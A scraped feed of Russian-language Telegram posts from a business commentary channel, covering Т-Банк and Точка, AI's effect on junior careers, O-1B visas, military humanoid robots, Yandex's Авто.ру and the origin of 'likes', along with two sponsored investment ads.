Полноценно корпоративно скушать Точку - например, объединить с B2B-сегментом Т-Банка и перекинуть портфель клиентов - это как купить квартиру с очень крутым ремонтом и видом из окна, переплатить за этот ремонт и вид, а потом выкорчевать всю отделку, выкинуть мебель и технику и забить окна досками. Вот примерно такой уровень логичности был бы.

А в Т-Технологиях работают прошаренные ребята, они точно так делать не будут.

Да и целевые клиентские сегменты внутри B2B у Т-Банка и Точки отличаются, конкурируют они лишь частично, у них разные офферы и киллер-фичи. Так зачем их между собой франкенштейнить?

В общем, я бы поставил, что Точка не изменится. Разве что получит новые ресурсы для роста и запустит ещё больше фич, синергично разработанных через knowledge sharing между командами (вот тут да, реально может быть заметна разница).

А так, у них слишком сильный и ценный бренд, слишком широкая и автономная экосистема B2B-продуктов, и слишком устойчивая ДНК, которая формировалась годами, чтобы вот так взять и начать всё менять. Собственно, официальная позиция компании мою версию подтверждает.

Лично я, как клиент Точки, дёргаться от такой новости вообще не буду.

Дизраптор

Читать полностью…

Первый частный фонд ИИ-стартапов в России ищет менторов-инвесторов

На российском рынке сформировались уникальные возможности для венчурных инвестиций. Уход иностранных сервисов, дефицит раннего капитала и технологический скачок LLM создают условия для роста B2B-стартапов.

На этом фоне был запущен венчурный фонд brainbox_I, инвестирующий на посевной стадии в B2B IT-компании с ИИ-продуктами. В портфеле фонда уже 6 стартапов и до 9 февраля можно стать инвестором-ментором.

Почему это интересно
- Потенциал доходности: 30–40% годовых на горизонте ~6 лет
- Первичное размещение и вторичное обращение акций фонда на бирже
- Возможность удвоить, проинвестированный капитал в фонд, выполняя роль ментора-партнера в портфельных компания
- Соинвестирование команды brainbox.VC 13 млн ₽ (6% от первого закрытия)
- Диверсифицированный портфель из 20+ стартапов

Почему brainbox.VC можно доверять
- Топ-3 по количеству венчурных инвестиций в России
- Платформа аккредитована Банком России
- Команда с опытом экзитов через стратегических инвесторов и IPO
- 23 тыс. инвесторов платформы вложили более 600 млн ₽ в стартапы

Подать заявку можно до 9 февраля ссылке ниже. С вами свяжутся партнеры фонда.

Там же - детали по стратегии, трекшену, команде и защите интересов инвесторов.

https://brainbox.vc/brainbox1_bid

Читать полностью…

Карьера "вуз → джун → мид → сеньор" больше не работает

Руководитель крупнейшей консалтинг-фирмы McKinsey недавно заявил: "У нас работет 60К сотрудников, и 25К из них - это ИИ-агенты". На практике это значит вот что:

Как раньше был устроен стандартный консалтинговый проект в вакууме?
- Менеджер руководит всем проектом и отвечает за финальный результат перед большими дядями.
- Консультанты (или старшие аналитики) отвечают за стримы - конкретные направления работ.
- У каждого конса есть по 1-2 младших аналитика или стажера, которые "работают руками". Строят гипотезы, анализируют анализ, моделируют модели, клепают презы и всё такое.
Понятно, что в реальности всё это может перемешаться, но примерно так.

А теперь, по всей видимости, фирма очень хочет заменить младших ребят на ИИшку. Понятно, что работать прям самостоятельно ИИ он не умеет (как и стажер, лол). Главная задача ИИ - разгрузить консультантов от рутины. Чтобы они справились сами со всем объёмом, и можно было нанимать меньше стажеров.

И здесь очень хочется сделать вывод: "Если стажеры теперь не нужно, то хрен теперь устроишься после вуза на джуновскую позицию". Причём не только в консалтинге. McKinsey - просто яркая иллюстрация, которая под руку попалась. Такая же фигня происходит и в обычных корпорациях, и в айти, и вообще где угодно.

Но в реальности всё чуть сложнее. Консультанты-мидлы (как и разрабы-мидлы) сами собой не рождаются. Их нужно выращивать из джунов. А значит, компаниям всё равно придется нанимать младшеньких. Либо же брать мидлов/сеньоров из других компаний (это дороже), где их будут выращивать.

И вот здесь уже можно сделать очень важный вывод:
Если ИИ будет выполнять большую часть работы джунов, но джуны всё равно будут, то... самим джунам придется серьезно поменяться.
Но как именно?

Во-первых, вся пирамида сдвинется на один уровень вверх. Топовые компании будут брать меньше джунов, и сразу искать таких, которые смогут быстро проявить качества мидлов. Самостоятельно вести небольшие стримы, структурировать значимые куски работ, уметь профессионально общаться. И (важно) быстро расширять свою зону ответственности. Ведь если нет, то проще тупо взять готового мидла/сеньора, выдать ему ИИшку и сказать "ну, давай, дедлайн через неделю".

Во-вторых, будут нанимать меньше младших "универсалов-дженералистов". Опять же, потому что таких ребят нужно обучить-натаскать, заточить их на функциональную пользу. Это инвестиционный период - когда компания вкладывает в джуна больше, чем вытаскивает обратно. Доступные ИИ-агенты - это альтернативное вложение, из-за которой отдачу от джуна будут ожидать гораздо-гораздо быстрее. А это достигается двумя способами. Либо очень-очень мощный и талантливый джун-универсал (редкость), либо джун с узкой специализацией. Такому нужно меньше времени на адаптацию, потому что он изначально глубже погружен в специфику, лучше знает своё болото, ну в поняли.

Наконец, джуну нужно будет с ходу уметь работать с ИИ-инструментами. Ведь напомню, его сразу сместят на один шаг вверх по пирамиде, выдадут ИИ-помощников и скажут: "ждём результат". Хорошее умение работать с ИИ-тулами становится не полезной бонусом, а базовой грамотностью. Причём речь идёт не об обычном ChatGPT, а о специальных профессиональных ИИ-штуках.

Короче говоря, джуны 2.0 должны уже из универа выходить "почти-мидлами" с высоким уровнем автономности, сильной специализацией и хорошими специализированными ИИ-навыками. И большой вопрос, смогут ли вузы и эдтехи быстро перестроиться под этот сдвиг.

P.S. Если ваш друг (или ребенок) сейчас думает, на кого учиться и кем вообще быть, то очень рекомендую хорошенько погрузиться в изменение, которые я чуть приоткрываю в этом посте.

Дизраптор

Читать полностью…

Америке нужны не художники и музыканты, а онлифанщицы

Во многих странах есть т.н. "визы талантов". И конечно, лучше всех такие штуки развиты у главного мирового пылесоса талантов под названием США. Так вот, в 1990 году в США появилась виза O-1B для выдающихся людей из искусства. Предполагалось, что её будут получать перспективные музыканты и художники, талантливые актёры и прочие авторы великих поэм. И лет 10-15 назад так и оно и было.

Но на днях вышла новость, что сейчас более 50% таких виз выдается инфлюэнсерам из соцсетей. И особенно дофига... кому бы вы думали? Правильно, Onlyfans-моделям.

В интернетах начались бурления: "То есть теперь искусство - это продавать нюдсы?". Особенно возмущаются настоящие служители искусства, которым в этой визе отказали. Но это всё разговоры в пользу бедных. Если отбросить мораль и этику, то онлифанщицы и правда выглядят как самые сильные кандидаты для такой талант-визы. Гораздо сильнее, чем музыканты, художники и даже ученые. И вот почему:

Любая иммиграционная программа нужна для каких-то национальных целей. Цель визы O-1B - привлечь крутых ребят из "креативных сфер" (назову это так), чтобы они делали страну лучше. Как? Вариант первый - своим будущим великим вкладом в культуру. Но это для единиц, и очень сложно заранее предсказать. Гораздо более массовый вариант - деньгами. Американское государство допёрло, что креативные крутышки зарабатывают хорошие бабки, и неплохо было бы эти бабки перетащить из других стран в США. Логично.

Но нужно уметь отличать крутышей от лже-крутышей. В творчестве это сделать непросто. Но всё равно есть универсальный критерий. Да, снова бабки. Если музыкант, художник, актёр или теперь вот блогер/инфлюэнсер хорошо зарабатывает, то значит его творчество чего-то стоит. Это самый верный признак, его легче всего измерить и "пришить к делу".

А теперь давайте взглянем на Онлифанс:

1. Финансовые потоки прозрачны и понятны. Выгружаешь стату из сервиса - показываешь в заявке на визу. Это кристально ясные финансовые данные, на основе которых легко ранжировать кандидатов и принимать решение. И автоматизировать процесс оценки с таким критерием тоже изи.

2. У инфлюэнсеров и блогеров есть подписчики и просмотры. Казалось бы - хорошие метрики, по которым можно оценивать. Но подписчики бывают разные: классные, живые и вовлеченные (как вы) или мертвые, спящие и безразличные. Богатые или нищие. Зависит от тематики, старательности блогера и ещё кучи факторов. Просмотры тоже не одинаковые - длинные или короткие, вовлеченные и не очень... А вот ПЛАТЯЩИЕ подписчики - это другое дело. Это значит, что у аудитории а) есть бабки, и б) они готовы их платить блогеру. Это уже гораздо более серьезный признак. А за что именно платят - это миграционного офицера не колышет. Хоть за высокие материи, хоть за порно на заказ и бутылочки с водой из ванны.

3. Деньги через пэйволл - это не грант от другой страны на развитие прекрасного, не распил местного госфонда по развитию культурной культуры, не инвестиционные обещания стартаперу. Это деньги здесь и сейчас. Получается, инфлюэнсер выиграл честную конкурентную борьбу за деньги людей, и эти люди платят сами, добровольно и из своего кошелька. Это самый дистилированный пруф, что инфлюэнсер умеет делать бабки.

Так что, блогеры/инфлюэнсеры с платными подписчиками вполне логично сожрали больше половины таких виз, не оставив шансов другим служителям искусства. А то что среди таких ребят много онлифанщиц - ну, такой вот у нас мир. Они продают ликвидную базовую потребность, что поделать (не является инвестиционной рекомендацией).

P.S. Тут я разбирал, почему Onlyfans - одна из самых прибыльных компаний мира. А здесь - как один из конкурентов Onlyfans хитро отожрал у него долю рынка.

Дизраптор

Читать полностью…

Надоел этот 2026, когда уже 2027 будет

Читать полностью…

Производители роботов хитро пускают нам пыль в глаза милой подтанцовкой на концертах, неуклюжим топ-топ-топ по улицам китайских городов и всякими европейскими домашними робо-слугами. И мы стали забывать, зачем человечество делает роботов НА САМОМ ДЕЛЕ. Но я вам напомню:

В 2024 года два венчурно-предпринимательских индуса из Сан-Франциско и один военный инженер основали стартап Foundation. Их основной продукт - это вот такой робот Phantom. С виду обычный гуманоид для промышленных задач. Коробки на складе таскать, товары перекладывать, всё такое. Робот как робот.

Но у него есть одна важная фича. Он заранее делается модульным и со стандартными креплениями, портами и API. Зачем? Чтобы можно было подключать кучу внешних устройств.

Например, повесить усиленную защиту, укрепить робо-тело экзоскелетными приблудами и прикрутить к рукам какие-нибудь особые хваталки, поднималки или ковырялки. Такой Phantom сможет спасать людей из заваленной пещеры или разгребать обломки после урагана. Но модули, как вы понимаете, могут быть не только "защитно-спасательными", а очень даже наоборот:

Недавно Foundation заявил, что собирается произвести 50К таких роботов, часть их которых используют для военных целей (это официальное заявление компании). Понятное дело, они подчеркивают, что это будут не полностью автономные боевые системы, и важные решения всегда (ли?) будут за дистанционным оператором. А ещё, что использовать их будут (в основном) там, куда слишком опасно отправлять людей - например, обезвреживать мины или таскать снабжение под огнем. Но... Все же всё понимают, да? 😈

Понятно, что военка всегда рядом со всеми крупными разработчики роботов, слишком уж очевидная тут синергия. И вообще, кто б знал, что там Boston Dynamics и Unitree собирают в тени от публичных выставок. Однако раньше все крупные робо-компании открещивались от военки хотя бы публично (легендарная собака с огнемётом не считается, это был скорее мем). Раньше это был однозначный табу, который тут же отвращал инвесторов, ставил на бренде стигму и ронял валюэйшн.

Но за последний год-полтора мир поменялся. И теперь робо-стартапы публично хвастаются партиями будущих военных роботов. Так что, "нижняя подсветка вкл." скоро будет не только на дроне. А дистанционный оператор... ну, пока что для важных решений он обязателен, а потом видно будет, и восстанут машины из пепла ядерного огня.

Дизраптор

Читать полностью…

Налетай, налетай - на видос про ДиДжиАй!

https://youtu.be/1ZWro0MB-g8

Разбираем, как эти хитрые китайцы всего за 10 лет подсадили весь мир на дроны, и теперь "все дроны = DJI".

Приятного просмотра и обязательно подписывайтесь на Ютубе. На ВК тоже ща залью и добавлю ссылку.

Читать полностью…

Коммерсантъ сегодня выдал новость, что Яндекс хочет продать Авто.ру. Яндекс приобрел данный сервис в 2014 году, но видать так и не прижилось... Возможными покупателями названы Сбер, Т-Банк и Авито. Но все они ничего не комментировали. Как и сам Яндекс. Не удивлюсь, что журналисты просто прикинули "А кто мог бы купить? Ну наверно Сбер, Т-Банк и Авито, во!".

ЕМНИП, Яндекс уже давно продаёт Авто.ру. Точнее, не прям активно продаёт, но периодически нет-нет да пробует скинуть этот актив кому-нибудь. Инсайдов у меня нет, но слухи ходят.

На мой взгляд, Яндексу логично продать Авто.ру, по нескольким причинам. Во-первых (самое банально), российский авторынок сейчас будет переживать не лучшие времена. Пик спроса был в прошлом году, дальше будет спад, об этом я писал вот тут. Покупательская способность у людей демонстрирует уверенный отрицательный рост. Так ещё и утильсбор + ужесточение локализации. Возможно, через несколько лет людям вовсе не нужен будет автомобильный агрегатор. Достаточно будет просто открыть сайт Автоваза и ещё пары локализованных китайцев 😔

Но это общий тренд всего рынка. Гораздо важнее, что Авто.ру не вписывается в стратегию Яндекса. Хорошо видно, что ребята сейчас делают большую ставку на:
1. Городские сервисы
2. Персональный лайфстайл
3. Коммерция "на каждый день" (назову это так)
4. и, конечно же, ИИ.
Окей, ещё есть B2B (включая клауд-решения), но это немного другая история.

И вот интересный момент. Сделаю допущение, что мета-цель Яндекса прямо сейчас - это массовое продвижение своих ИИ-решений. Ну знаете, чтобы как можно больше людей приучилось использовать ИИ Яндекса в как можно большем числе сценариев (про это я детально писал вчера).

ИИ - это всё ещё новая штука для большинства людей. Значит, их нужно активно приучать. А для этого нужны сервисы с высокой частотностью касаний. Проще говоря, сервисы "на каждый день". А это как раз:
- Карты, Навигатор и прочий "город".
- Музыка, Кинопоиск, Алиса и другой "лайфстайл". Частично сюда же Диск, Почта, Заметки и т.д.
- Еда, Лавка, Такси и другой частотный еком. Маркет и Путешествия тоже сюда отнесу: да, для одной половины юзеров они не будут высокочастотными, но для другой - очень даже.

Через совокупность этих сервисов можно очень быстро приучить юзера к новой "ИИ-Яндекс-нормальности". А это и есть цель. Ну вы поняли. Но даже если выйти за рамки эйай-логики, то такой набор сервисов формирует экосистему с достаточным и логически цельным контуром.

А автомобили как часто люди меняют? Хорошо, если раз в 2-3 года. Подавляющее большинство куда реже. А впредь, глядя на реалии российского рынка, будут ещё реже.

Так что, Авто.ру действительно смотрится чужеродным элементом. Логично кому-нибудь продать. Лично я бы очень не хотел, чтобы купил Авито, ведь тогда случится схлопывание ещё одного рынка. Да, там есть ещё Дром.ру, но у него совсем небольшая доля рынка. А то придётся снова звать Татьяну Бакальчук и её неуёмный WB 🤔

Пусть уж лучше Сбер или Т-Банк. У них уже есть финансовые автомобильные продукты, будет с чем сращивать новый актив. Т-Банк сможет усилить автомобильную "Сферу", а Сбер - спаять агрегатор со своим ДрайвКликом. Почему бы нет.

Дизраптор

Читать полностью…

Если на вашем концерте нет такой же подтанцовки, но из роботов Aidol, даже не думайте меня звать.

Читать полностью…

Откуда в интернете появились "лайки"?

Сегодня лайк - это неотъемлемая часть любой интернет-штуки с контентом. Понравился пост/ видос/ тикток/ статья/ твит/ ...? Ставим лайк, лойс, лукас. Кое-где ещё есть дизлайки. Ну или "реакции", если платформа даёт выражать чувства разного спектра. Вполне естественный и природный атрибут для любого контента... Или нет?

Прикол в том, что лайк - это не продуманная юзер-фича, которую внедрили для удобства пользователя, а хак масштабирования. Смотрите:

В начале 2000-х на интернет-форумах, площадках и в ранних соцсетях - вроде MySpace или Friendster лайков не было. Основной формой юзерской реакции были комментарии. Люди писали: согласен, +1, xDD, аффтар жжот, LOL, Cool, ROFL, первый нах и т.д. Да, форумы ещё любили карму - но это скорее восприятие автора целиком, а не реакция на конкретный кусок контента. Кое-где ещё были апвоуты (стрелки вверх, как на Хабре), но это скорее: "Надо в топ", а не "Мне нравится", слегка другой оттенок. А так, основным способом показать своё отношение к контенту были именно комменты.

И всё бы хорошо, но комментарий - это довольно тяжелая штука. Ну, с точки зрения тогдашней айтишечки. Текст коммента нужно перевести в нужный формат и закодировать, зафиксировать в базе данных, связать с постом, учесть права доступа и ещё кучу разных нюансов. А тогдашние базы данных - это не сегодняшние.

И такой расклад очень не устроил Facebook, который тогда ещё был студенческой соцсетью The Facebook, и без налёта экстремизма и запрещённости. Facebook очень быстро рос, прибавляя миллионы юзеров каждый месяц. И им нужно было максимально упростить айти-компоненту, дабы не разорваться. И они смекнули, что можно заменить "сложные" комменты одним простым "атомарным" событием, типа: user_id + post_id + timestamp. Это и был лайк.

Лайки тогда были в ходу у уже несуществующий соцсети FriendFeed. В 2007 году Цук купил её, вместе с командой и идеями. И взял их механику лайка, встроил к себе и масштабировал до планетарного уровня. Одно из главных инфраструктурных препятствий для туземуна было элегантно устранено.

В процессе Facebook понял, что лайк выполняет ещё одну важную функцию - сегментирует реакции по содержательности. Раньше была одна лента комментов, где были намешаны и содержательные комментарии - вопросы по теме, предложения, аргументы и т.д., и эмоциональные - условно, "нравится/ не нравится" или "+/-". Лайк отлично оттянул на себя львиную долю эмоций, особенно положительных. Негативные остались, ведь хейт всегда ярче одобрения, и его даже за дизлайком не всегда удаётся спрятать. А комменты остались зоной для содержательного общения, мультиплицируя ценность контента для аудитории.

Подчеркну: понятно, что Facebook не изобрёл реакции. Они встречались и до него. До эта механика не была массовой. А Цукерберг с командой сделали из неё хак взрывного роста и превратили в глобальную "лучшую практику". Так что теперь, даже в ультра-осознанной и уютной Телеге, вы можете влепить реакцию под этим постом.

Дизраптор

Читать полностью…

Сегодня впервые услышал слово "амбиплатформер".

Угадайте, что это значит?

Читать полностью…

🌔🌓🌒🌑🌘🌗🌖🌕

Классическая дилемма инвестора:

Вот есть банковский вклад. Просто и надёжно, но доходность даже реальную инфляцию не обгонит. С другой стороны, есть квартира под сдачу. Потенциально выгоднее: и сам актив дорожает, и арендные платежи как дивиденды. Но появляется куча задач: найти адекватных жильцов, "у нас тут трубу прорвало", ремонт периодически делать... В итоге инвестиция превращается во вторую работу.

Но инвестиции не стоит превращать в работу. Нужен актив, который работает на вас сам, без вашего участия. И именно по такой модели работает апарт-отель Vertical Московская.

Ключевой фактор успеха здесь - сильная управляющая компания. Vertical на рынке с 2014 года, №1 в управлении апартаментами по версии Urban Awards и CRE Federal Awards. Это не какие-то новые ребята, а система, проверенная временем и тысячами инвесторов.

Вот несколько важных цифр от Vertical:
1. Гарантированный доход до 3,2 млн рублей за 2 года. Это чётко прописывается в договоре.
2. Доходность до 17% годовых, интереснее банковских предложений.
3. Низкий порог входа: есть рассрочка с первым взносом всего 500 тысяч рублей.

По сути, вы покупаете долю в отлаженном гостиничном бизнесе, защищая свои деньги от неопытных управленцев и головной боли.

Чтобы не быть голословными, эксперты Vertical поделились чек-листом "Как оценить объект недвижимости для инвестиций". Забрать его можно в боте.

Не является инвестиционной рекомендацией, но если вам актуально усилить портфель, то точно стоит глянуть этот вариант и изучить условия.

Читать полностью…